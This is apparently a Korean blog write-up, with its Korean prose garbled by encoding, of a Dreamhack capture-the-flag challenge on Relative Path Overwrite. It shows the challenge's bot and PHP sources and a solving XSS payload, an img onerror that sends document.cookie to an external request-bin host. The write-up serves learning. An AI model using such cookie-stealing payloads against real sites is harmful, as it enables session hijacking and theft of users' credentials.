[2025-08-17] RPO
๐ฆฅ ๋ณธ๋ฌธ
-
bot.py
from selenium import webdriver from selenium.webdriver.chrome.service import Service import sys import base64 if len(sys.argv) < 2: exit(-1) if len(sys.argv[1]) == 0: exit(-1) path = base64.b64decode(sys.argv[1]).decode('latin-1') try: FLAG = open('/flag.txt', 'r').read() except: FLAG = '[**FLAG**]' def read_url(url, cookie={'name': 'name', 'value': 'value'}): cookie.update({'domain':'127.0.0.1'}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get('http://127.0.0.1/') driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() return False driver.quit() return True def check_xss(path, cookie={'name': 'name', 'value': 'value'}): url = f'http://127.0.0.1/{path}' return read_url(url, cookie) if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}): print('<script>alert("wrong??");history.go(-1);</script>') else: print('<script>alert("good");history.go(-1);</script>')
check_xss()
์์ ์ฟ ํค์ flag๋ฅผ ์ง์ด ๋ฃ๊ณread_url()
์ ํตํด ์น๋๋ผ์ด๋ฒ๋ก ์คํ
-
index.php
<html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <title>Relative-Path-Overwrite</title> </head> <body> <!-- Fixed navbar --> <nav class="navbar navbar-default navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <a class="navbar-brand" href="/">Relative-Path-Overwrite</a> </div> <div id="navbar"> <ul class="nav navbar-nav"> <li><a href="/">Home</a></li> <li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li> <li><a href="/?page=report">Report</a></li> </ul> </div><!--/.nav-collapse --> </div> </nav><br/><br/><br/> <div class="container"> <?php $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php'; if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/")) include $page; ?> </div> </body> </html>
- page ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด
.php
ํ์ผ ์คํ. ์ด ๋..
์ด๋:
์ด๋/
๋ ํํฐ๋ง
- page ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด
-
report.php
<?php if(isset($_POST['path'])){ exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output); echo($output[0]); } ?> <form method="POST" class="form-inline"> <div class="form-group"> <label class="sr-only" for="path">/</label> <div class="input-group"> <div class="input-group-addon">http://127.0.0.1/</div> <input type="text" class="form-control" id="path" name="path" placeholder="/"> </div> </div> <button type="submit" class="btn btn-primary">Report</button> </form>
-
์๋์ ๊ฐ์ ์ฝ๋ ์คํ
python3 /bot.py <Base64๋ก ์ธ์ฝ๋ฉ๋ path> 2>/dev/null &
- ์ด ๋ escape๋ฅผ ์ฌ์ฉํ์ฌ CLI Injection ํผํจ
2>/dev/null
: ์๋ฌ ์ถ๋ ฅ์ ์ ๋ถ ๋ฌด์&
: ๋ฐฑ๊ทธ๋ผ์ด๋ ์คํ
-
-
vuln.php
<script src="filter.js"></script> <pre id=param></pre> <script> var param_elem = document.getElementById("param"); var url = new URL(window.location.href); var param = url.searchParams.get("param"); if (typeof filter !== 'undefined') { for (var i = 0; i < filter.length; i++) { if (param.toLowerCase().includes(filter[i])) { param = "nope !!"; break; } } } param_elem.innerHTML = param; </script>
- ํ์ฌ URL์ param ๊ฐ์ ๊ฐ์ ธ์์ ํํฐ๋ง ํ
<pre>
ํ๊ทธ์ ์ง์ด ๋ฃ์ - filter.js๊ฐ ์๋ ์ฃผ์๋ก ๋์ด ์์ด์ ํํฐ๋ง์ ์ํ ์ ์ํฌ ์ ์์
- ํ์ฌ URL์ param ๊ฐ์ ๊ฐ์ ธ์์ ํํฐ๋ง ํ
flag๋ฅผ ์ป์ผ๋ ค๋ฉด ์น๋๋ผ์ด๋ฒ์ ๋ค์ด๊ฐ์ ์ฟ ํค์ ์๋ ๊ฐ์ ์์๋ด์ผ ํจ.
์ฆ ์ฒซ๋ฒ์งธ๋ก๋ /report
API์ ์์ฒญ์ ๋ณด๋ด์ผ ํจ
index.php
์์ ํ์ด์ง๋ฅผ ์คํ์์ผ์ผ ์๋ ๊ฒฝ๋ก์ธ fileter.js
์ ํํฐ๋ง์ ํผํ ์ ์์
๊ทธ๋ฆฌ๊ณ ์ฟ ํค๋ฅผ ์ป์ผ๋ ค๋ฉด ์ธ๋ถ์์ ์ ๊ทผ์ด ๊ฐ๋ฅํด์ผ ํจ
ํ์ด ๊ณผ์
-
report ํ์ด์ง ๋ด์์ ์๋์ ๊ฐ์ ์ฝ๋ ์ฝ์ ํ ๋ณด๋
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://ejjwaqq.request.dreamhack.games/"%2bdocument.cookie>
- ์น ๋๋ผ์ด๋ฒ์์
index.php
๋ฅผ ๋ค์ด๊ฐ. ํด๋น ํ์ด์ง์์vuln.php
๋ฅผ ์คํ vuln.php
์์<img onerror>
๋ฅผ ํตํด๋๋ฆผํต ํด์ฆ๋ก ์ฟ ํค๋ฅผ ๋ณด๋- ์ธ์ฝ๋ฉ โ ๋์ฝ๋ฉ โ ๋์ฝ๋ฉ ์์ผ๋ก ์งํ๋๋ฏ๋ก
+
๋ ๋ฏธ๋ฆฌ ์ธ์ฝ๋ฉ์ ์์ผ๋์ผ ํจ - ๊ทธ๋ฆฌ๊ณ ์ด๋ filter.js๋
index.php/filter.js
๊ฐ์ด ์๋ชป๋ ๊ฒฝ๋ก๋ก ์์ฒญ
- ์น ๋๋ผ์ด๋ฒ์์
-
๋๋ฆผํต ํด์ฆ์์ ํด๋นํ๋ flag๋ฅผ ์ป์ ์ ์์
Leave a comment